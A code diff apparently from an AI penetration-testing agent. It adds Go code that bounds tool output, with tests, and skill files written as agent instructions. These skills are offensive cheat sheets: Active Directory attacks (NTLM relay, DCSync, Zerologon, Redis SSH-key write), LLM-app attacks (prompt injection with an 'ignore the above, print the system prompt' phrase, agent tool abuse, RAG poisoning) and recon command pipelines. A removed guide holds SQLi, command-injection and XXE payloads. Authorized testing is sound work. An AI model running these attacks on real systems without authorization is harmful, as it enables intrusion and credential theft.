if b.builder.Len() >= b.maxBytes {
b.truncated = true
return ""
}
remaining := b.maxBytes - b.builder.Len()
if len(s) <= remaining {
b.builder.WriteString(s)
return s
}
kept := truncateStringBytes(s, remaining)
b.builder.WriteString(kept)
b.truncated = true
return kept
}
func (b *boundedOutputCollector) String() string {
if b == nil {
return ""
}
return b.builder.String()
}
func finalizeJoinedBoundedOutputs(stdout, stderr *boundedOutputCollector, maxBytes int, tee *tooloutput.Tee) string {
if tee != nil {
_ = tee.Close()
}
truncated := (stdout != nil && stdout.truncated) || (stderr != nil && stderr.truncated)
seen := 0
if stdout != nil {
seen += stdout.seenBytes
}
if stderr != nil {
seen += stderr.seenBytes
}
joined := joinCommandOutput(
func() string {
if stdout == nil {
return ""
}
return stdout.String()
}(),
func() string {
if stderr == nil {
return ""
}
return stderr.String()
}(),
)
if maxBytes > 0 && !truncated && len(joined) > maxBytes {
truncated = true
seen = len(joined)
}
path := ""
if tee != nil {
path = tee.Path()
}
if truncated && maxBytes > 0 {
if path != "" {
return tooloutput.FormatPersistedFromFile(path, seen, maxBytes)
}
if len(joined) > maxBytes {
return truncateStringBytes(joined, maxBytes)
}
return joined
}
if path != "" {
_ = os.Remove(path)
}
if maxBytes > 0 && len(joined) > maxBytes {
return truncateStringBytes(joined, maxBytes)
}
return joined
}
func finalizeBoundedOutput(collector *boundedOutputCollector, maxBytes int, tee *tooloutput.Tee) string {
if tee != nil {
_ = tee.Close()
}
if collector == nil {
return ""
}
path := ""
if tee != nil {
path = tee.Path()
}
if collector.truncated && maxBytes > 0 {
if path != "" {
return tooloutput.FormatPersistedFromFile(path, collector.seenBytes, maxBytes)
}
return truncateStringBytes(collector.String(), maxBytes)
}
if path != "" {
_ = os.Remove(path)
}
out := collector.String()
if maxBytes > 0 && len(out) > maxBytes {
return tooloutput.BoundWithSpill(out, maxBytes, tooloutput.SpillOpts{})
}
return out
}
func limitOutputString(s string, maxBytes int, spill tooloutput.SpillOpts) string {
if maxBytes <= 0 || len(s) <= maxBytes {
return s
}
return tooloutput.BoundWithSpill(s, maxBytes, spill)
}
func truncateStringBytes(s string, maxBytes int) string {
if maxBytes <= 0 {
return ""
}
if len(s) <= maxBytes {
return s
}
cut := maxBytes
for cut > 0 && (s[cut]&0xC0) == 0x80 {
cut--
}
if cut <= 0 {
return ""
}
return s[:cut]
}
// streamCommandOutput 以“边读边回调”的方式读取命令 stdout/stderr。
// 使用定长块读取,避免按行读取在无换行输出时永久阻塞;ctx 取消时终止进程树。
func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, noOutputSec int) (string, error) {
func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, noOutputSec int, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
stdoutPipe, err := cmd.StdoutPipe()
if err != nil {
return "", err
@@ -1072,7 +1290,12 @@ func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallba
close(chunks)
}()
var outBuilder strings.Builder
tee := (*tooloutput.Tee)(nil)
if maxBytes > 0 {
tee = tooloutput.NewTee(spill)
defer func() { _ = tee.Close() }()
}
outBuilder := newBoundedOutputCollector(maxBytes, tee)
var deltaBuilder strings.Builder
lastFlush := time.Now()
@@ -1095,7 +1318,7 @@ func streamCommandOutput(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallba
fireInactivity := func() {
TerminateShellCmdSession(session)
msg := ShellNoOutputTimeoutMessage(idleWatch.Sec)
outBuilder.WriteString(msg)
msg = outBuilder.WriteStringLimited(msg)
if cb != nil {
cb(msg)
}
@@ -1116,7 +1339,7 @@ chunksLoop:
return outBuilder.String(), ctx.Err()
case <-idleCh:
fireInactivity()
return outBuilder.String(), fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
return finalizeBoundedOutput(outBuilder, maxBytes, tee), fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
case chunk, ok := <-chunks:
if !ok {
break chunksLoop
@@ -1124,8 +1347,8 @@ chunksLoop:
if chunk != "" && idleWatch != nil {
idleWatch.Bump()
}
outBuilder.WriteString(chunk)
deltaBuilder.WriteString(chunk)
keptChunk := outBuilder.WriteStringLimited(chunk)
deltaBuilder.WriteString(keptChunk)
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
flush()
}
@@ -1135,7 +1358,7 @@ chunksLoop:
// 等待命令结束,返回最终退出状态
waitErr := session.Wait()
return outBuilder.String(), waitErr
return finalizeBoundedOutput(outBuilder, maxBytes, tee), waitErr
}
// applyDefaultTerminalEnv 为外部工具补齐常见的终端环境变量。
@@ -1188,15 +1411,14 @@ func shouldRetryWithPTY(output string) bool {
// runCommandWithPTY 为子进程分配 PTY,适配需要交互式终端的工具(如 autorecon)。
// 若 cb != nil,将持续回调增量输出(用于 SSE)。
func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback) (string, error) {
func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback, maxBytes int, spill tooloutput.SpillOpts) (string, error) {
if runtime.GOOS == "windows" {
// PTY 方案为类 UnixWindows 走原逻辑
if cb != nil {
return streamCommandOutput(ctx, cmd, cb, 0)
return streamCommandOutput(ctx, cmd, cb, 0, maxBytes, spill)
}
_ = prepareShellCmdSession(cmd)
out, err := cmd.CombinedOutput()
return string(out), err
return combinedOutputCancellableWithLimit(ctx, cmd, maxBytes, spill)
}
_ = prepareShellCmdSession(cmd)
@@ -1223,7 +1445,12 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
}()
defer close(done)
var outBuilder strings.Builder
tee := (*tooloutput.Tee)(nil)
if maxBytes > 0 {
tee = tooloutput.NewTee(spill)
defer func() { _ = tee.Close() }()
}
outBuilder := newBoundedOutputCollector(maxBytes, tee)
var deltaBuilder strings.Builder
lastFlush := time.Now()
flush := func() {
@@ -1245,8 +1472,8 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
// 统一换行为 \n,避免前端错位
chunk = strings.ReplaceAll(chunk, "\r\n", "\n")
chunk = strings.ReplaceAll(chunk, "\r", "\n")
outBuilder.WriteString(chunk)
deltaBuilder.WriteString(chunk)
keptChunk := outBuilder.WriteStringLimited(chunk)
deltaBuilder.WriteString(keptChunk)
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
flush()
}
@@ -1258,7 +1485,7 @@ func runCommandWithPTY(ctx context.Context, cmd *exec.Cmd, cb ToolOutputCallback
flush()
waitErr := cmd.Wait()
return outBuilder.String(), waitErr
return finalizeBoundedOutput(outBuilder, maxBytes, tee), waitErr
}
// executeInternalTool 执行内部工具(不执行外部命令)
+101
View File
@@ -73,6 +73,43 @@ func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T)
}
}
func TestExecToolSoftWaitExposesPartialOutput(t *testing.T) {
executor, server := setupTestExecutor(t)
server.ConfigureToolWaitTimeoutSeconds(1)
mcp.RegisterExecutionControlTools(server, nil)
server.RegisterTool(mcp.Tool{Name: "exec", InputSchema: map[string]interface{}{"type": "object"}}, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
return executor.ExecuteTool(ctx, "exec", args)
})
result, executionID, err := server.CallTool(context.Background(), "exec", map[string]interface{}{
"command": "for i in 1 2 3 4; do echo partial-$i; sleep 0.3; done; sleep 5",
"shell": "sh",
})
if err != nil {
t.Fatalf("CallTool exec: %v", err)
}
if executionID == "" || result == nil || !result.IsError {
t.Fatalf("expected soft wait timeout, id=%q result=%#v", executionID, result)
}
status, _, err := server.CallTool(context.Background(), "get_tool_execution", map[string]interface{}{
"execution_id": executionID,
"include_partial_output": true,
"partial_output_max_bytes": 4096,
})
if err != nil {
t.Fatalf("get_tool_execution: %v", err)
}
body := mcp.ToolResultPlainText(status)
if !strings.Contains(body, `"status": "running"`) {
t.Fatalf("expected running execution, got: %s", body)
}
if !strings.Contains(body, "partial-") || !strings.Contains(body, "partial_output") {
t.Fatalf("expected partial output in execution status, got: %s", body)
}
server.CancelToolExecution(executionID)
}
func TestExecuteSystemCommand_FailureFormat(t *testing.T) {
executor, _ := setupTestExecutor(t)
res, err := executor.executeSystemCommand(context.Background(), map[string]interface{}{
@@ -94,6 +131,70 @@ func TestExecuteSystemCommand_FailureFormat(t *testing.T) {
}
}
func TestExecuteSystemCommand_OutputIsSourceLimited(t *testing.T) {
executor, _ := setupTestExecutor(t)
spillRoot := t.TempDir()
executor.SetToolOutputMaxBytes(200)
executor.SetToolOutputSpillRoot(spillRoot)
ctx := mcp.WithMCPConversationID(context.Background(), "exec-spill")
res, err := executor.executeSystemCommand(ctx, map[string]interface{}{
"command": "i=0; while [ $i -lt 2000 ]; do printf 0123456789; i=$((i+1)); done",
"shell": "sh",
})
if err != nil {
t.Fatalf("executeSystemCommand: %v", err)
}
if res == nil || res.IsError {
t.Fatalf("expected success, got %+v", res)
}
text := res.Content[0].Text
if !strings.Contains(text, "<persisted-output>") || !strings.Contains(text, "Full output saved to:") {
t.Fatalf("missing persisted-output notice: %q", text)
}
if len(text) > 200 {
t.Fatalf("output exceeded hard limit: len=%d text=%q", len(text), text)
}
if strings.Contains(text, strings.Repeat("0123456789", 20)) {
t.Fatalf("output kept too much data: len=%d", len(text))
}
}
func TestExecuteSystemCommand_StreamingOutputIsSourceLimited(t *testing.T) {
executor, _ := setupTestExecutor(t)
spillRoot := t.TempDir()
executor.SetToolOutputMaxBytes(200)
executor.SetToolOutputSpillRoot(spillRoot)
var streamed strings.Builder
ctx := context.WithValue(context.Background(), ToolOutputCallbackCtxKey, ToolOutputCallback(func(chunk string) {
streamed.WriteString(chunk)
}))
ctx = mcp.WithMCPConversationID(ctx, "exec-stream-spill")
res, err := executor.executeSystemCommand(ctx, map[string]interface{}{
"command": "i=0; while [ $i -lt 2000 ]; do printf abcdefghij; i=$((i+1)); done",
"shell": "sh",
})
if err != nil {
t.Fatalf("executeSystemCommand: %v", err)
}
text := res.Content[0].Text
if !strings.Contains(text, "<persisted-output>") {
t.Fatalf("missing persisted-output notice: %q", text)
}
if len(text) > 200 {
t.Fatalf("returned output exceeded hard limit: len=%d text=%q", len(text), text)
}
// SSE only streams the bounded prefix; final agent-facing body is the spill notice.
if len(streamed.String()) > 200 {
t.Fatalf("streamed prefix exceeded hard limit: len=%d", len(streamed.String()))
}
if streamed.Len() == 0 {
t.Fatal("expected some streamed prefix before truncation")
}
if strings.Contains(text, strings.Repeat("abcdefghij", 50)) {
t.Fatalf("returned output kept too much raw data: len=%d", len(text))
}
}
func TestBuildCommandArgs_NmapSkipsEmptyOptionalFlags(t *testing.T) {
pos1 := 1
executor, _ := setupTestExecutor(t)
+292
View File
@@ -0,0 +1,292 @@
// Package tooloutput spills oversized tool stdout/results to local files under
// the reduction cache tree (tmp/reduction/...), so agents can read_file the
// full text after context truncation.
package tooloutput
import (
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"unicode/utf8"
"github.com/google/uuid"
)
const (
defaultRootDir = "tmp/reduction"
readFileHint = "read_file"
)
// SpillOpts scopes where a trunc file is written (mirrors reduction RootDir layout).
type SpillOpts struct {
RootDir string // reduction_root_dir or empty → tmp/reduction
ProjectID string
ConversationID string
ExecutionID string // preferred file name; empty → uuid
}
// SessionRoot returns the conversation/project-scoped reduction cache root.
func SessionRoot(configuredBase, projectID, conversationID string) string {
base := strings.TrimSpace(configuredBase)
if base == "" {
base = defaultRootDir
}
if pid := strings.TrimSpace(projectID); pid != "" {
return filepath.Join(base, "projects", sanitizeSegment(pid))
}
conv := strings.TrimSpace(conversationID)
if conv == "" {
conv = "default"
}
return filepath.Join(base, "conversations", sanitizeSegment(conv))
}
// WriteTruncFile writes full content under {sessionRoot}/trunc/{id} and returns
// an absolute path suitable for read_file.
func WriteTruncFile(opts SpillOpts, content string) (string, error) {
session := SessionRoot(opts.RootDir, opts.ProjectID, opts.ConversationID)
id := strings.TrimSpace(opts.ExecutionID)
if id == "" {
id = uuid.NewString()
}
id = sanitizeSegment(id)
dir := filepath.Join(session, "trunc")
if err := os.MkdirAll(dir, 0o755); err != nil {
return "", fmt.Errorf("mkdir tool output trunc dir: %w", err)
}
path := filepath.Join(dir, id)
if abs, err := filepath.Abs(path); err == nil {
path = abs
}
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
return "", fmt.Errorf("write tool output trunc file: %w", err)
}
return path, nil
}
// BoundWithSpill truncates full text into a <persisted-output> notice after
// spilling the original to disk. The returned string is always ≤ maxBytes when
// maxBytes > 0. On spill failure it falls back to a prefix + marker (no path).
func BoundWithSpill(full string, maxBytes int, opts SpillOpts) string {
if maxBytes <= 0 || len(full) <= maxBytes {
return full
}
path, err := WriteTruncFile(opts, full)
if err != nil {
return boundPrefixOnly(full, maxBytes, len(full), "")
}
return FormatPersistedOutput(full, path, maxBytes)
}
// FormatPersistedOutput builds a reduction-compatible notice with head/tail
// previews that fits in maxBytes.
func FormatPersistedOutput(full, filePath string, maxBytes int) string {
return formatPersisted(len(full), filePath, full, maxBytes)
}
// FormatPersistedFromFile builds the notice using previews read from an already
// spilled file (streaming collectors that never kept the full string in memory).
func FormatPersistedFromFile(filePath string, originalSize, maxBytes int) string {
previewSrc := ""
if data, err := os.ReadFile(filePath); err == nil {
previewSrc = string(data)
if originalSize <= 0 {
originalSize = len(data)
}
}
return formatPersisted(originalSize, filePath, previewSrc, maxBytes)
}
func formatPersisted(originalSize int, filePath, previewSrc string, maxBytes int) string {
if maxBytes <= 0 {
maxBytes = 12000
}
// Always keep the absolute path readable for read_file, even under tight budgets.
minimal := fmt.Sprintf(
"<persisted-output>\nOutput too large (%d). Full output saved to: %s\nUse %s to read.\n</persisted-output>",
originalSize, filePath, readFileHint,
)
if len(minimal) > maxBytes {
core := fmt.Sprintf("<persisted-output>Full output saved to: %s</persisted-output>", filePath)
if len(core) <= maxBytes {
return core
}
// Path longer than budget: keep as much of the path as possible after a short prefix.
prefix := "<persisted-output>Full output saved to: "
suffix := "</persisted-output>"
room := maxBytes - len(prefix) - len(suffix)
if room <= 0 {
return clampPrefix(core, maxBytes)
}
return prefix + clampSuffix(filePath, room) + suffix
}
previewBudget := maxBytes - len(minimal) + 32 // approximate room beyond minimal shell
if previewBudget > 4000 {
previewBudget = 4000
}
if previewBudget < 0 {
previewBudget = 0
}
for previewBudget >= 0 {
half := previewBudget / 2
head := clampPrefix(previewSrc, half)
tail := clampSuffix(previewSrc, previewBudget-half)
notice := fmt.Sprintf(
"<persisted-output>\nOutput too large (%d). Full output saved to: %s\nUse %s with offset/limit to read parts of the file.\nPreview (first %d):\n%s\n\nPreview (last %d):\n%s\n\n</persisted-output>",
originalSize, filePath, readFileHint, len(head), head, len(tail), tail,
)
if len(notice) <= maxBytes {
return notice
}
if previewBudget == 0 {
return minimal
}
previewBudget = previewBudget * 3 / 4
}
return minimal
}
func boundPrefixOnly(full string, maxBytes, originalSize int, filePath string) string {
marker := fmt.Sprintf("\n\n...[tool output truncated: original %d bytes, kept %d bytes]...", originalSize, maxBytes)
if filePath != "" {
marker = fmt.Sprintf("\n\n...[tool output truncated: original %d bytes, kept %d bytes; full output: %s]...", originalSize, maxBytes, filePath)
}
budget := maxBytes - len(marker)
if budget < 0 {
return clampPrefix(marker, maxBytes)
}
return clampPrefix(full, budget) + marker
}
func clampPrefix(s string, n int) string {
if n <= 0 {
return ""
}
if len(s) <= n {
return s
}
for n > 0 && !utf8.RuneStart(s[n]) {
n--
}
return s[:n]
}
func clampSuffix(s string, n int) string {
if n <= 0 {
return ""
}
if len(s) <= n {
return s
}
start := len(s) - n
for start < len(s) && !utf8.RuneStart(s[start]) {
start++
}
return s[start:]
}
func sanitizeSegment(s string) string {
s = strings.TrimSpace(s)
if s == "" {
return "default"
}
s = strings.ReplaceAll(s, string(filepath.Separator), "-")
s = strings.ReplaceAll(s, "/", "-")
s = strings.ReplaceAll(s, "\\", "-")
s = strings.ReplaceAll(s, "..", "__")
if len(s) > 180 {
s = s[:180]
}
return s
}
// Tee writes every byte to a trunc file while callers keep only a bounded
// in-memory prefix. Safe for concurrent stdout/stderr writers.
type Tee struct {
mu sync.Mutex
opts SpillOpts
file *os.File
path string
err error
open bool
}
// NewTee prepares a lazy spill file (created on first Write).
func NewTee(opts SpillOpts) *Tee {
return &Tee{opts: opts}
}
// Write appends to the spill file, creating it on first use.
func (t *Tee) Write(p []byte) (int, error) {
if t == nil {
return len(p), nil
}
t.mu.Lock()
defer t.mu.Unlock()
if err := t.ensureOpenLocked(); err != nil {
return len(p), nil // best-effort: never fail the tool pipe
}
if t.file == nil {
return len(p), nil
}
_, _ = t.file.Write(p)
return len(p), nil
}
func (t *Tee) ensureOpenLocked() error {
if t.open || t.err != nil {
return t.err
}
t.open = true
session := SessionRoot(t.opts.RootDir, t.opts.ProjectID, t.opts.ConversationID)
id := strings.TrimSpace(t.opts.ExecutionID)
if id == "" {
id = uuid.NewString()
}
id = sanitizeSegment(id)
dir := filepath.Join(session, "trunc")
if err := os.MkdirAll(dir, 0o755); err != nil {
t.err = err
return err
}
path := filepath.Join(dir, id)
if abs, err := filepath.Abs(path); err == nil {
path = abs
}
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600)
if err != nil {
t.err = err
return err
}
t.file = f
t.path = path
return nil
}
// Path returns the absolute spill path after any Write (may be empty if unused/failed).
func (t *Tee) Path() string {
if t == nil {
return ""
}
t.mu.Lock()
defer t.mu.Unlock()
return t.path
}
// Close flushes and closes the spill file.
func (t *Tee) Close() error {
if t == nil {
return nil
}
t.mu.Lock()
defer t.mu.Unlock()
if t.file == nil {
return nil
}
err := t.file.Close()
t.file = nil
return err
}
+58
View File
@@ -0,0 +1,58 @@
package tooloutput
import (
"os"
"path/filepath"
"strings"
"testing"
)
func TestBoundWithSpillWritesFullFile(t *testing.T) {
root := t.TempDir()
full := strings.Repeat("A", 2000) + "TAIL"
out := BoundWithSpill(full, 512, SpillOpts{
RootDir: root,
ConversationID: "conv-1",
ExecutionID: "exec-1",
})
if len(out) > 512 {
t.Fatalf("bounded output exceeds max: %d", len(out))
}
if !strings.Contains(out, "<persisted-output>") {
t.Fatalf("expected persisted-output notice: %q", out)
}
path := filepath.Join(root, "conversations", "conv-1", "trunc", "exec-1")
abs, err := filepath.Abs(path)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(out, abs) {
t.Fatalf("expected absolute path %q in notice: %q", abs, out)
}
got, err := os.ReadFile(abs)
if err != nil {
t.Fatal(err)
}
if string(got) != full {
t.Fatalf("spilled content mismatch: got %d want %d", len(got), len(full))
}
}
func TestTeeThenFormatPersistedFromFile(t *testing.T) {
root := t.TempDir()
tee := NewTee(SpillOpts{RootDir: root, ConversationID: "c", ExecutionID: "e"})
full := strings.Repeat("xy", 100)
if _, err := tee.Write([]byte(full)); err != nil {
t.Fatal(err)
}
if err := tee.Close(); err != nil {
t.Fatal(err)
}
notice := FormatPersistedFromFile(tee.Path(), len(full), 512)
if len(notice) > 512 {
t.Fatalf("notice too long: %d", len(notice))
}
if !strings.Contains(notice, tee.Path()) {
t.Fatalf("missing path in notice: %q", notice)
}
}
+22
View File
@@ -0,0 +1,22 @@
---
name: active-directory-attack
description: >-
内网域攻击:BloodHound,Kerberoast,ADCS ESC1/ESC8,NTLM Relay,Coerce,DACL,DCSync,Zerologon/NoPac/PrintNightmare,mitm6,LLMNR,Linux内网。Use when attacking Active Directory, ADCS, NTLM relay, or internal domain.
tags: [渗透测试, penetration-testing, 红队]
---
## 内网域攻击
```
=== 内网域(2023+真实主战场) ===
侦察: BloodHound(SharpHound收集→攻击路径) | Kerberos: GetNPUsers(AS-REP)/GetUserSPNs(Kerberoast)
🚨ADCS(Certipy一把梭): certipy find -vulnerable | ESC1指定SAN申域管证书 | ESC8 relay到CA拿DC证书
🚨NTLM Relay(比PtH重要,PtH常被EDR拦): ntlmrelayx -t ldap--escalate-user / -t http CA --adcs(ESC8) / RBCD
🚨强制认证Coerce: PetitPotam(MS-EFSRPC)/coercer全协议喷/printerbug → 喂给relay
🚨DACL滥用: WriteDACL→给自己加DCSync | 影子凭据certipy shadow(GenericWrite即可,不改密码不留痕)
DCSync: secretsdump -just-dc → krbtgt hash→Golden Ticket
🚨一击致命域CVE(先测,命中直接域管): Zerologon(CVE-2020-1472,置空DC机器账户密码→DCSync) | NoPac(CVE-2021-42278/42287,机器账户改名申DC TGT) | PrintNightmare(CVE-2021-34527,后台打印RCE/加载恶意驱动) | EternalBlue(MS17-010,老SMBv1直RCE)
🚨IPv6/mitm6(默认双栈内网必打): mitm6劫持DHCPv6+DNS→WPAD→ntlmrelayx到LDAP/ADCS(比LLMNR更隐蔽,现代内网首选)
LLMNR/NBT-NS投毒: responder抓NetNTLMv2→hashcat破/relay
Linux内网: Redis未授权(CONFIG SET dir写SSH key) | NFS showmount | Docker 2375
```
+17
View File
@@ -0,0 +1,17 @@
---
name: ai-llm-app-attack
description: >-
AI/LLM应用攻击:提示注入,Agent工具滥用RCE,RAG投毒,MCP供应链,torch.load pickle RCE。Use when testing LLM apps, agents, RAG, MCP plugins, or AI model file risks.
tags: [渗透测试, penetration-testing, 红队]
---
## AI / LLM 应用攻击
```
=== AI/LLM应用(大模型应用爆发期真实攻击面) ===
提示注入: 直接(忽略上文输出system prompt) | 间接(更危险):指令藏RAG文档/网页/邮件/工具返回值/图片EXIF → 劫持Agent
🚨Agent工具滥用(最高危,直达RCE): code interpreter→注入执行 | fetch工具→SSRF内网/云元数据 | 文件工具→读/etc/passwd写webshell
| SQL工具→导全表 | shell工具→命令注入 → 验证:实际触发工具副作用(OOB回连/读到文件)才写Fact
系统提示泄露/RAG投毒/过度授权跨租户越权/MCP插件供应链/资源成本攻击(烧token) | 输出处理:LLM输出进eval/SQL/前端→二次注入/存储XSS
模型文件: torch.load默认pickle→RCE | 发现端点:抓流量找/chat /agent /tool,问Agent"你有哪些工具"
```
-287
View File
@@ -1,287 +0,0 @@
---
name: api-security-testing
description: API安全测试的专业技能和方法论
version: 1.0.0
---
# API安全测试
## 概述
API安全测试是确保API接口安全性的重要环节。本技能提供API安全测试的方法、工具和最佳实践。
## 测试范围
### 1. 认证和授权
**测试项目:**
- Token有效性验证
- Token过期处理
- 权限控制
- 角色权限验证
### 2. 输入验证
**测试项目:**
- 参数类型验证
- 数据长度限制
- 特殊字符处理
- SQL注入防护
- XSS防护
### 3. 业务逻辑
**测试项目:**
- 工作流验证
- 状态转换
- 并发控制
- 业务规则
### 4. 错误处理
**测试项目:**
- 错误信息泄露
- 堆栈跟踪
- 敏感信息暴露
## 测试方法
### 1. API发现
**识别API端点:**
```bash
# 使用目录扫描
gobuster dir -u https://target.com -w api-wordlist.txt
# 使用Burp Suite被动扫描
# 浏览应用,观察API调用
# 分析JavaScript文件
# 查找API端点定义
```
### 2. 认证测试
**Token测试:**
```http
# 测试无效Token
GET /api/user
Authorization: Bearer invalid_token
# 测试过期Token
GET /api/user
Authorization: Bearer expired_token
# 测试无Token
GET /api/user
```
**JWT测试:**
```bash
# 使用jwt_tool
python jwt_tool.py <JWT_TOKEN>
# 测试算法混淆
python jwt_tool.py <JWT_TOKEN> -X a
# 测试密钥暴力破解
python jwt_tool.py <JWT_TOKEN> -C -d wordlist.txt
```
### 3. 授权测试
**水平权限:**
```http
# 用户A访问用户B的资源
GET /api/user/123
Authorization: Bearer user_a_token
# 应该返回403
```
**垂直权限:**
```http
# 普通用户访问管理员接口
GET /api/admin/users
Authorization: Bearer user_token
# 应该返回403
```
### 4. 输入验证测试
**SQL注入:**
```http
POST /api/search
{
"query": "test' OR '1'='1"
}
```
**命令注入:**
```http
POST /api/execute
{
"command": "ping; id"
}
```
**XXE**
```http
POST /api/parse
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```
### 5. 速率限制测试
**测试速率限制:**
```python
import requests
for i in range(1000):
response = requests.get('https://target.com/api/endpoint')
print(f"Request {i}: {response.status_code}")
```
## 工具使用
### Postman
**创建测试集合:**
1. 导入API文档
2. 设置认证
3. 创建测试用例
4. 运行自动化测试
### Burp Suite
**API扫描:**
1. 配置API端点
2. 设置认证
3. 运行主动扫描
4. 分析结果
### OWASP ZAP
```bash
# API扫描
zap-cli quick-scan --self-contained \
--start-options '-config api.disablekey=true' \
http://target.com/api
```
### REST-Attacker
```bash
# 扫描OpenAPI规范
rest-attacker scan openapi.yaml
```
## 常见漏洞
### 1. 认证绕过
**Token验证缺陷:**
- 弱Token生成
- Token可预测
- Token不验证签名
### 2. 权限提升
**IDOR**
- 直接对象引用
- 未验证资源所有权
### 3. 信息泄露
**错误信息:**
- 详细错误信息
- 堆栈跟踪
- 敏感数据
### 4. 注入漏洞
**常见注入:**
- SQL注入
- NoSQL注入
- 命令注入
- XXE
### 5. 业务逻辑
**逻辑缺陷:**
- 价格操作
- 数量限制绕过
- 状态修改
## 测试清单
### 认证测试
- [ ] Token有效性验证
- [ ] Token过期处理
- [ ] 弱Token检测
- [ ] Token重放攻击
### 授权测试
- [ ] 水平权限测试
- [ ] 垂直权限测试
- [ ] 角色权限验证
- [ ] 资源访问控制
### 输入验证
- [ ] SQL注入测试
- [ ] XSS测试
- [ ] 命令注入测试
- [ ] XXE测试
- [ ] 参数污染
### 业务逻辑
- [ ] 工作流验证
- [ ] 状态转换
- [ ] 并发控制
- [ ] 业务规则
### 错误处理
- [ ] 错误信息泄露
- [ ] 堆栈跟踪
- [ ] 敏感信息暴露
## 防护措施
### 推荐方案
1. **认证**
- 使用强Token
- 实现Token刷新
- 验证Token签名
2. **授权**
- 基于角色的访问控制
- 资源所有权验证
- 最小权限原则
3. **输入验证**
- 参数类型验证
- 数据长度限制
- 白名单验证
4. **错误处理**
- 统一错误响应
- 不泄露详细信息
- 记录错误日志
5. **速率限制**
- 实现API限流
- 防止暴力破解
- 监控异常请求
## 注意事项
- 仅在授权测试环境中进行
- 避免对API造成影响
- 注意不同API版本的差异
- 测试时注意请求频率
+50
View File
@@ -0,0 +1,50 @@
---
name: attack-surface-recon
description: >-
侦察/攻击面测绘:被动whois/amass/crt.sh/FOFA/Shodan,主动subfinder/httpx/naabu/katana/nuclei,DNS地域/CDN/Nginx catch-all/宝塔/UniApp指纹。开局第一动作,认知写入项目黑板。Use when starting recon, asset mapping, fingerprinting, or CDN/DNS bypass discovery.
tags: [渗透测试, penetration-testing, 红队]
---
## 侦察 / 攻击面测绘
```
=== 侦察/攻击面测绘(开局第一动作,60%战时在这,别裸奔进利用;端口/指纹等立即 upsert_project_fact) ===
被动先行(不碰目标,全部执行):
terminal: whois {domain} | grep -iE 'org|name|email|registrant'
terminal: amass intel -asn {ASN} -d {domain}
browser_navigate: https://crt.sh/?q=%.{domain} (证书透明挖子域)
terminal: curl -s "https://crt.sh/?q=%.{domain}&output=json" | python3 -c "import sys,json;[print(x['name_value']) for x in json.load(sys.stdin)]" | sort -u
terminal: dig +short {domain} @114.114.114.114; dig +short {domain} @8.8.8.8 (对比差异=CDN)
terminal: curl -s "https://web.archive.org/cdx/search/cdx?url=*.{domain}/*&output=text&fl=original&collapse=urlkey" | head -100
browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'domain="{domain}"' | base64)
browser_navigate: https://www.shodan.io/search?query=hostname:{domain}
主动流水线(逐步执行):
terminal: subfinder -d {domain} -silent | tee subs.txt; amass enum -d {domain} -passive >> subs.txt; sort -u subs.txt -o subs.txt
terminal: cat subs.txt | dnsx -silent | tee alive_subs.txt
terminal: cat alive_subs.txt | httpx -silent -title -status-code -tech-detect -cdn | tee httpx_out.txt
terminal: naabu -l alive_subs.txt -top-ports 1000 -silent | tee ports.txt; nmap -sCV -iL <(head -20 alive_subs.txt) -oN nmap_out.txt
terminal: katana -list alive_subs.txt -silent -d 3 | tee urls.txt; gau {domain} >> urls.txt
terminal: cat urls.txt | grep -iE '\.(js|json)$' | httpx -silent -mc 200 | while read u; do curl -s "$u" | grep -oiE '(api|secret|key|token|password|aws|endpoint)[^"]*'; done
terminal: ffuf -u https://{target}/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -fs {catch-all-size}
terminal: nuclei -l alive_subs.txt -t /root/nuclei-templates/ -severity medium,high,critical -o nuclei_results.txt
→ httpx输出识别到框架/版本 → 立即触发 `component-vuln-intel` 搜索序列
🚨DNS地域限制绕过: 国内CDN(987dns/dnspod/阿里云)常对海外DNS返0.0.0.0,用114.114.114.114解析才拿到真实IP。多DNS对比: dig @1.1.1.1 vs @114.114.114.114 vs @8.8.8.8,差异即CDN地域策略。真实IP藏在国内DNS结果中。
🚨CDN响应过滤绕过(GCCDN/PWS等): CDN对特定URL模式(admin路径/actuator)返502而非转发后端响应:
指纹识别: Server: PWS/x.x.x.x | Via: 1.1 PS-XXX-XXXX:N (W) | X-Px: ms CS-XXX-XXXXnone(origin) | 通配*.gccdn.net CNAME
502≠不存在: 502=后端响应被CDN过滤, 404=路径真不存在, 403=CDN路由拒绝。用502/404/403差异枚举存活端点
路径穿越确认: /api/v1/v/..;/..;/actuator/env → 502(存在被过滤) vs /api/v1/v/..;/..;/xxxx → 404(Tomcat原生不存在)
CDN节点多端口: 扫CDN IP的3000-9200端口(8000/8080/9090常代理同一后端但规则可能不同,9200可能是独立nginx)
绕过尝试矩阵(本session全测均失败,记录防重复): URL编码/双编码/大小写/分号后缀/TE空格走私/HTTP管线化/Accept-Encoding/Range
有效信息提取: 即使502,POST actuator/env仍可能被后端执行(盲写属性)→需配合refresh触发(若refresh 404则链断)
